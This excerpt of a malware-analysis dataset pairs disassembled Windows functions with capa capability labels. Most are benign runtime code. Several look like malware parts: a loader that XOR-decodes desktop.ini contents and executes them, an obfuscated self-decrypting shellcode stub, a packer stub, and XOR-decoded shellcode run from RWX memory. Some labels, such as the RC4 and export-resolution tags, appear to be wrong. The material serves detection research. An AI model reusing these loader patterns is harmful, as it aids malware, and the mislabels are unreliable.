joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10048081
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1006cba0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10040df9
and dword [ebp - 0x14], 0
cmp dword [0x10081eb4], 0
mov dword [ebp - 0x18], eax
jne 0x10048134
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x100481dc
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x100481dc
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10081eb4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10081eb8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10081ebc], eax
call edi
push eax
call esi
mov dword [0x10081ec4], eax
test eax, eax
je 0x10048134
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10081ec0], eax
mov eax, dword [0x10081ec0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x1004818d
cmp dword [0x10081ec4], ecx
je 0x1004818d
push eax
call esi
push dword [0x10081ec4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1004818d
test ebx, ebx
je 0x1004818d
call edi
test eax, eax
je 0x10048184
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10048184
test byte [ebp - 8], 1
jne 0x1004818d
or dword [ebp + 0x10], 0x200000
jmp 0x100481c0
mov eax, dword [0x10081eb8]
cmp eax, dword [ebp - 0x18]
je 0x100481c0
push eax
call esi
test eax, eax
je 0x100481c0
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100481c0
mov eax, dword [0x10081ebc]
cmp eax, dword [ebp - 0x18]
je 0x100481c0
push eax
call esi
test eax, eax
je 0x100481c0
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10081eb4]
call esi
test eax, eax
je 0x100481dc
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x100481de
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10045bdd
leave
ret
Function at 0x10053460
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x10053568
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x10053568
mov ebx, dword [ebp + 0x10]
test ebx, ebx
je 0x10053568
push 2
push ebx
lea eax, [ebp + 8]
push eax
push esi
call fcn.10052190
add esp, 0x10
cmp eax, 2
je 0x100534a9
pop edi
pop esi
mov eax, 0x80004005
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0x5a4d
cmp word [ebp + 8], ax
jne 0x1005349d
push 4
lea eax, [ebx + 0x3c]
push eax
lea eax, [ebp - 4]
push eax
push esi
call fcn.10052190
add esp, 0x10
cmp eax, 4
jne 0x1005349d
add ebx, dword [ebp - 4]
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x100534d8
mov dword [eax], ebx
push 2
lea eax, [ebx + 4]
push eax
lea eax, [ebp + 8]
push eax
push esi
call fcn.10052190
add esp, 0x10
cmp eax, 2
jne 0x1005349d
movzx eax, word [ebp + 8]
cmp eax, 0x14c
je 0x10053533
cmp eax, 0x8664
jne 0x1005349d
push pe_nt_image_headers32
push ebx
push edi
push esi
call fcn.10052190
add esp, 0x10
cmp eax, 0x108
jne 0x1005349d
cmp dword [edi], 0x4550
mov eax, 0x40
pop edi
mov ecx, 0x80004005
pop esi
cmovne eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0xf8
push ebx
push edi
push esi
call fcn.10052190
add esp, 0x10
cmp eax, 0xf8
jne 0x1005349d
cmp dword [edi], 0x4550
mov eax, 0x20
pop edi
mov ecx, 0x80004005
pop esi
cmovne eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 0x80070057
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401a40
Capabilities:
Write file on windows

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [ecx]
lea eax, [esp + 8]
push 0
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
ret 8

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x7ffe540e
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword fs:[0x30]
not eax
not eax
and al, 0xff
pushf
popf
inc esi
dec esi
add al, 4
sub al, 4
add al, 0
add al, 4
sub al, 4
push eax
pop eax
pushf
popf
add al, 0
xor eax, ecx
xor eax, ecx
and al, 0xff
push es
pop ds
nop
call 0x7ffe5440
pop edx
push bx
inc esp
inc esp
cld
xor dx, dx
not eax
not eax
inc esi
dec esi
add edx, 0xd5e0
clc
xor ecx, ecx
and al, 0xff
pushal
inc eax
popal
mov cl, 0x1e
xor byte [ecx + edx], 0x3d
loop 0x7ffe545f
and al, 0xff
pushf
popf
push dword fs:[0x24]
add al, 0
pushf
popf
pop dword [edx + 0xa]
inc esi
dec esi
mov cl, 0xff
xor eax, ecx
xor eax, ecx
push es
pop ds
push edx
loop 0x7ffe5485
mov dword [edx + 0x11], 0xffffacbb
not eax
not eax
mov ecx, dword [eax + 0x2c]
push es
pop ds
push es
pop ds
mov dword [edx + 0x1b], ecx
and al, 0xff
pushal
inc eax
popal
mov dword [edx + 0x100], ecx
stc
mov dword [eax + 0x2c], esp
not eax
not eax
clc
push 0
push bx
inc esp
inc esp
push 0
inc esi
dec esi
cld
push es
pop ds
push 0
push es
pop ds
push 0
and al, 0xff
push 0x30
push bx
inc esp
inc esp
push 0x20
nop
push 0
add al, 0
push 0
add edx, 0xffff7f30
inc esi
dec esi
cld
and al, 0xff
push edx
cld
push edx
add al, 0
cld
inc esi
dec esi
push 0
cld
call dword [edx + 0x8213]
push es
pop ds
pushal
inc eax
popal
add esp, 0x3f8
inc esi
dec esi
not eax
not eax
xor eax, eax
push edx
cdq
pop edx
inc eax
lea esp, [esp]
ret 0xc

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..rsrc
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x34284be0
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x432060
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
je 0x4320d2
nop
nop
nop
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x31267797
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
movaps xmm2, xmmword [str.DDDDDDDDDDDDDDDD]
xor eax, eax
push esi
push edi
mov ecx, 0x403060
mov edx, 0x403080
mov esi, 0x403090
nop word [eax + eax]
movups xmm0, xmmword [ecx + eax]
movaps xmm1, xmm2
xorps xmm0, xmm2
movups xmmword [ecx + eax], xmm0
movups xmm0, xmmword [eax + 0x403070]
xorps xmm0, xmm2
movups xmmword [eax + 0x403070], xmm0
movups xmm0, xmmword [edx + eax]
xorps xmm1, xmm0
movups xmmword [edx + eax], xmm1
movups xmm0, xmmword [esi + eax]
xorps xmm0, xmm2
movups xmmword [esi + eax], xmm0
add eax, 0x40
cmp eax, 0x140
jb 0x401020
cmp eax, 0x162
jae 0x40107f
nop word [eax + eax]
xor byte [eax + 0x403060], 0x44
inc eax
cmp eax, 0x162
jb 0x401070
push 0x40
push 0x1000
push 0x163
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov ecx, 0x58
mov esi, 0x403060
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call eax
pop edi
xor eax, eax
pop esi
ret

Function at 0x40142d
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
jmp 0x401462
mov ecx, dword [edx + 0xc]
cmp dword [ebp + 0xc], ecx
jb 0x40145f
mov eax, dword [edx + 8]
add eax, ecx
cmp dword [ebp + 0xc], eax
jb 0x40146b
add edx, 0x28
cmp edx, esi
jne 0x40144d
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x401468

Function at 0x4018b0
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4018ef
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4018ef
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4018ef
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4018ef
cmp dword [ecx + 0x74], 0xe
jbe 0x4018ef
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10063880
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10a78b80]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xorps xmm0, xmm0
mov dword [ebp - 8], 0
mov edx, ecx
movq qword [ebp - 0x10], xmm0
push esi
lea ecx, [ebp - 0x10]
xor bl, bl
call fcn.10063760
mov eax, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
cmp esi, eax
je 0x100638e0
push edi
mov edi, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [esi]
call edi
test eax, eax
movzx ebx, bl
mov eax, 1
cmovne ebx, eax
add esi, 4
cmp esi, dword [ebp - 0x14]
jne 0x100638c1
mov esi, dword [ebp - 0x10]
pop edi
test esi, esi
je 0x10063910
mov ecx, dword [ebp - 8]
mov eax, esi
sub ecx, esi
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x10063906
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10063922
push ecx
push esi
call fcn.10511703
add esp, 8
mov ecx, dword [ebp - 4]
mov al, bl
pop esi
xor ecx, ebp
pop ebx
call fcn.105116c0
mov esp, ebp
pop ebp
ret
call fcn.1051f751
int3
Function at 0x10063d00
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x10063d1e
push 0
push 0
push 0
push 0x10063cf0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
pop ebp
ret 0xc
Function at 0x1006e710
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [esp + 4]
push ebx
push esi
cmp dword [edx + 0x60], 0
mov esi, ecx
jne 0x1006e73e
mov eax, dword [edx + 0x5c]
xor ebx, ebx
test eax, eax
sete bl
neg eax
sbb eax, eax
add eax, 0x106
lea ebx, [ebx*8 + 0x10]
jmp 0x1006e748
mov ebx, 0xc
mov eax, 0x102
mov dword [esi], eax
mov eax, dword [edx + 0x68]
mov dword [ecx + 4], eax
mov eax, dword [edx + 0x6c]
mov dword [ecx + 8], eax
mov eax, dword [edx + 0x70]
mov dword [ecx + 0xc], eax
movzx eax, byte [edx + 0x74]
mov dword [ecx + 0x10], eax
mov eax, dword [edx + 0x78]
mov dword [ecx + 0x14], eax
mov eax, dword [edx + 0x7c]
mov dword [ecx + 0x18], eax
mov dword [ecx + 0x24], 8
mov eax, dword [edx]
mov dword [ecx + 0x1c], eax
mov eax, dword [edx + 8]
mov dword [ecx + 0x20], eax
mov eax, dword [edx + 0x10]
mov dword [ecx + 0x28], eax
mov eax, dword [edx + 0x18]
mov dword [ecx + 0x2c], eax
mov eax, dword [edx + 0x80]
mov dword [ecx + 0x30], eax
mov eax, dword [edx + 0x84]
mov dword [ecx + 0x34], eax
mov eax, dword [edx + 0x5c]
mov dword [ecx + 0x38], eax
mov eax, dword [edx + 0x60]
mov dword [ecx + 0x3c], eax
mov eax, dword [edx + 0x28]
mov dword [ecx + 0x40], eax
mov eax, dword [edx + 0x2c]
mov dword [ecx + 0x44], eax
mov eax, dword [edx + 0x30]
mov dword [ecx + 0x48], eax
mov eax, dword [edx + 0x20]
mov dword [ecx + 0x4c], eax
mov eax, dword [edx + 0x24]
mov dword [ecx + 0x50], eax
mov eax, dword [edx + 0x24]
mov dword [ecx + 0x54], eax
test byte [edx + 0x8c], 8
je 0x1006e816
or dword [ecx], 0x800
add ebx, ebx
mov eax, dword [edx + 0x64]
mov dword [ecx + 0x24], eax
mov eax, dword [edx + 0x28]
add eax, eax
mov dword [ecx + 0x40], eax
mov eax, dword [edx + 0x2c]
add eax, eax
mov dword [ecx + 0x44], eax
mov eax, dword [edx + 0x30]
add eax, eax
mov dword [ecx + 0x48], eax
mov eax, dword [edx + 0x20]
add eax, eax
mov dword [ecx + 0x4c], eax
mov eax, dword [edx + 0x24]
add eax, eax
mov dword [ecx + 0x50], eax
mov eax, dword [edx + 0x24]
add eax, eax
mov dword [ecx + 0x54], eax
mov eax, dword [esp + 0x14]
mov dword [ecx + 0x5c], ebx
mov dword [ecx + 0x68], eax
mov eax, dword [edx + 0x4c]
mov dword [ecx + 0x6c], eax
mov dword [ecx + 0x70], 0
mov dword [ecx + 0x74], 0
mov eax, dword [edx + 0x58]
pop esi
mov dword [ecx + 0x58], eax
mov dword [ecx + 0x78], 0
pop ebx
ret
Function at 0x10083510
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xf4
mov eax, dword [0x10a78b80]
xor eax, esp
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0x100]
mov eax, dword [esp + 0x104]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x108]
movzx edx, word [ecx + 2]
mov dword [esp + 0xc], eax
mov eax, edx
not eax
mov dword [esp + 8], ecx
push ebx
push ebp
mov ebp, dword [esp + 0x104]
push esi
push edi
movzx edi, word [ecx]
movzx ecx, ax
shr ecx, 0xf
movsx eax, dx
add eax, 3
mov ebx, dword [esp + 0x108]
add eax, ecx
sar eax, 3
movzx esi, ax
mov eax, edi
not eax
mov edx, dword [ebx + 0x3ac24]
movzx ecx, ax
shr ecx, 0xf
movsx eax, di
add eax, 3
shl esi, 0x10
add eax, ecx
xor ecx, ecx
sar eax, 3
movzx eax, ax
or esi, eax
mov eax, dword [ebp + 0x10b0]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 0x10], eax
mov eax, dword [ebx + 0x3ac20]
cmp eax, edx
cmovl edx, eax
cmp edx, 0x3ff
jge 0x100835cc
nop dword [eax]
inc ecx
mov eax, edx
shl eax, cl
cmp eax, 0x3ff
jl 0x100835c0
mov edi, dword [ebx + 0x5cce8]
mov eax, dword [ebp + 0x120]
add edi, ecx
cmp eax, dword [ebx + 0x68bd0]
jne 0x100835ea
lea ecx, [ebx + 0x67f6c]
jmp 0x1008360b
cmp eax, dword [ebp + 0x1fd3c]
je 0x10083605
push 0
push eax
lea eax, [ebp + 0x1f0d8]
push eax
call dword [0x106cd574]
add esp, 0xc
lea ecx, [ebp + 0x1e470]
cmp dword [ebx + 0x91558], 0
je 0x10083624
cmp byte [ebx + 0x3adac], 0
je 0x10083624
mov eax, 1
jmp 0x10083626
xor eax, eax
push eax
push 1
push ecx
push esi
push dword [esp + 0x28]
lea eax, [esp + 0x84]
push dword [esp + 0x24]
push ebp
push ebx
push eax
call fcn.10100740
push 0
lea eax, [esp + 0x8c]
push eax
lea eax, [esp + 0x40]
push eax
push 0
push edi
lea eax, [esp + 0xa8]
push eax
push esi
call fcn.100ff600
add esp, 0x40
cmp eax, 0x7fffffff
jge 0x100836d0
mov eax, dword [ebx]
mov ecx, dword [esp + 0x10]
push dword [esp + 0x78]
shl ecx, 6
push dword [esp + 0x80]
movups xmm0, xmmword [ecx + eax + 0xc5cc]
movups xmmword [esp + 0x2c], xmm0
movups xmm0, xmmword [ecx + eax + 0xc5dc]
movups xmmword [esp + 0x3c], xmm0
movups xmm0, xmmword [ecx + eax + 0xc5ec]
movups xmmword [esp + 0x4c], xmm0
movups xmm0, xmmword [ecx + eax + 0xc5fc]
lea eax, [esp + 0x2c]
push eax
push dword [esp + 0x20]
lea eax, [esp + 0xe4]
push eax
movups xmmword [esp + 0x68], xmm0
call fcn.100ff990
add esp, 0x14
add eax, 0x20
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
cmp eax, dword [ecx]
jge 0x100836e8
mov dword [ecx], eax
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 4]
mov dword [ecx], eax
mov ecx, dword [esp + 0xf0]
xor ecx, esp
call fcn.105116c0
add esp, 0xf4
ret
Function at 0x100b46d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
push ebp
push edi
lea eax, [eax + eax*2]
xor ebp, ebp
cdq
xor edi, edi
sub eax, edx
sar eax, 1
mov dword [esp + 8], eax
test ecx, ecx
jle 0x100b47b7
push ebx
mov ebx, dword [esp + 0x24]
mov eax, ebx
imul eax, dword [esp + 0x2c]
push esi
mov esi, dword [esp + 0x50]
mov dword [esp + 0x14], eax
nop word [eax + eax]
mov edx, dword [esp + 0x1c]
sub ecx, ebp
push dword [esp + 0x38]
cmp ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x30]
push edi
cmovl eax, ecx
mov dword [edx], ebp
add ebp, eax
push ebx
push esi
mov dword [edx + 4], ebp
call dword [esp + 0x58]
lea eax, [ebx + 1]
add esp, 0x10
cmp eax, dword [esp + 0x34]
jge 0x100b4750
push dword [esp + 0x38]
lea eax, [ebx + 2]
push edi
push eax
push esi
call dword [esp + 0x58]
add esp, 0x10
test esi, esi
je 0x100b4777
cmp dword [esi + 0x30], 1
jle 0x100b4777
push dword [esi + 0x34]
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push dword [esi + 0x34]
mov bl, byte [esi + 0x48]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test bl, bl
jne 0x100b47b5
mov ebx, dword [esp + 0x28]
push dword [esp + 0x54]
mov eax, dword [esp + 0x18]
push dword [esp + 0x48]
add eax, edi
push dword [esp + 0x48]
push dword [esp + 0x48]
push eax
push dword [esp + 0x30]
call dword [esp + 0x3c]
push dword [esp + 0x50]
push dword [esp + 0x4c]
push edi
push ebx
push esi
call dword [esp + 0x78]
mov ecx, dword [esp + 0x4c]
add esp, 0x2c
inc edi
cmp ebp, ecx
jl 0x100b4710
pop esi
pop ebx
pop edi
pop ebp
add esp, 8
ret
Function at 0x100ba970
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x18]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x20]
mov cl, byte [ecx + 0x1155]
mov byte [esp + 0x20], cl
movzx ecx, cl
mov eax, dword [esi + 0x1e4]
mov ebp, ecx
sub eax, dword [esp + 0x28]
cmp ecx, eax
push edi
cmovge ebp, eax
mov eax, 0x10
cmp ebp, eax
cmovge ebp, eax
mov eax, dword [esp + 0x34]
cdq
xor ebx, ebx
xor eax, edx
sub eax, edx
mov dword [esp + 0x10], eax
cmp eax, 1
jle 0x100ba9ce
mov ebx, 1
test byte [esp + 0x2c], bl
je 0x100ba9ce
xor eax, eax
cmp ecx, 2
cmovb ebx, eax
xor edi, edi
test ebp, ebp
jle 0x100baac7
lea eax, [esi + 0x3a98]
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], eax
nop word [eax + eax]
mov esi, dword [esp + 0x28]
lea ecx, [edi + ebx]
imul ecx, dword [esi + 8]
mov eax, dword [esi + 0xfd0]
mov dl, byte [esi + 0x1155]
movzx esi, dl
add ecx, dword [esp + 0x34]
mov eax, dword [eax + ecx*4]
mov dword [esp + 0x1c], eax
mov eax, dword [eax]
mov dword [esp + 0x2c], eax
mov dh, byte [eax + 0x10647488]
movzx eax, dh
cmp esi, eax
cmovae esi, eax
cmp byte [esp + 0x24], 0x10
jb 0x100baa3d
cmp esi, 4
mov eax, 4
cmovb esi, eax
jmp 0x100baa50
cmp dword [esp + 0x10], 1
jle 0x100baa50
mov eax, 2
cmp esi, eax
cmova eax, esi
mov esi, eax
mov ecx, 2
cmp dl, cl
jb 0x100baa8b
cmp dl, dh
ja 0x100baa8b
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x54]
movzx ecx, byte [eax + 0x10647470]
mov eax, dword [esp + 0x34]
sub eax, dword [esp + 0x50]
inc eax
cmp eax, ecx
cmovge eax, ecx
cmp eax, 2
mov ecx, eax
cmovl ecx, dword [esp + 0x14]
sub eax, dword [esp + 0x34]
dec eax
mov dword [edx], eax
mov eax, esi
imul eax, ecx
push eax
push dword [esp + 0x1c]
push dword [esp + 0x54]
push dword [esp + 0x48]
push dword [esp + 0x48]
push dword [esp + 0x5c]
push dword [esp + 0x5c]
push dword [esp + 0x5c]
push dword [esp + 0x50]
push dword [esp + 0x40]
call fcn.100b8bd0
add edi, esi
add esp, 0x28
cmp edi, ebp
jl 0x100ba9f0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x100baad0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x18]
push ebx
mov ebx, dword [esp + 0x20]
push ebp
mov cl, byte [ecx + 0x1154]
mov ebp, dword [esp + 0x2c]
push esi
mov esi, dword [esp + 0x20]
mov byte [esp + 0x20], cl
movzx ecx, cl
mov edx, ecx
mov eax, dword [esi + 0x1e8]
sub eax, ebx
cmp ecx, eax
push edi
cmovge edx, eax
mov eax, 0x10
cmp edx, eax
cmovge edx, eax
mov eax, ebp
mov dword [esp + 0x10], edx
xor edi, edi
cdq
xor eax, edx
mov dword [esp + 0x2c], edi
sub eax, edx
mov dword [esp + 0x14], eax
cmp eax, 1
jle 0x100bab41
mov edi, 1
mov dword [esp + 0x2c], edi
test bl, 1
je 0x100bab41
xor eax, eax
cmp ecx, 2
cmovb edi, eax
mov dword [esp + 0x2c], edi
mov eax, dword [esp + 0x28]
xor ebx, ebx
mov ecx, dword [eax + 8]
mov eax, dword [eax + 0xfd0]
imul ecx, ebp
lea ecx, [eax + ecx*4]
mov dword [esp + 0x1c], ecx
cmp dword [esp + 0x10], ebx
jle 0x100bac51
lea eax, [esi + 0x3a98]
mov dword [esp + 0x18], eax
nop
lea eax, [ebx + edi]
mov eax, dword [ecx + eax*4]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x34], eax
mov eax, dword [eax]
mov cl, byte [ecx + 0x1154]
movzx esi, cl
mov dl, byte [eax + 0x10647470]
movzx eax, dl
cmp esi, eax
cmovae esi, eax
cmp byte [esp + 0x24], 0x10
jb 0x100babab
cmp esi, 4
mov eax, 4
cmovb esi, eax
jmp 0x100babbe
cmp dword [esp + 0x14], 1
jle 0x100babbe
mov eax, 2
cmp esi, eax
cmova eax, esi
mov esi, eax
mov edi, 2
cmp cl, 2
jb 0x100bac0b
cmp cl, dl
ja 0x100bac0b
mov eax, dword [esp + 0x34]
mov ecx, ebp
sub ecx, dword [esp + 0x50]
inc ecx
mov edx, dword [eax]
mov dl, byte [edx + 0x10647488]
movzx eax, dl
cmp ecx, eax
jge 0x100babf2
mov eax, ebp
sub eax, dword [esp + 0x50]
inc eax
movzx eax, ax
jmp 0x100babf5
movzx eax, dl
mov ecx, edi
cmp cx, ax
ja 0x100babff
movzx edi, ax
mov ecx, dword [esp + 0x54]
movzx eax, ax
sub eax, ebp
dec eax
mov dword [ecx], eax
mov eax, esi
imul eax, edi
push eax
push dword [esp + 0x1c]
push dword [esp + 0x54]
push dword [esp + 0x48]
push dword [esp + 0x48]
push dword [esp + 0x5c]
push dword [esp + 0x5c]
push dword [esp + 0x5c]
push dword [esp + 0x50]
push dword [esp + 0x58]
call fcn.100b8bd0
mov edi, dword [esp + 0x54]
add ebx, esi
mov ecx, dword [esp + 0x44]
add esp, 0x28
cmp ebx, dword [esp + 0x10]
jl 0x100bab70
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret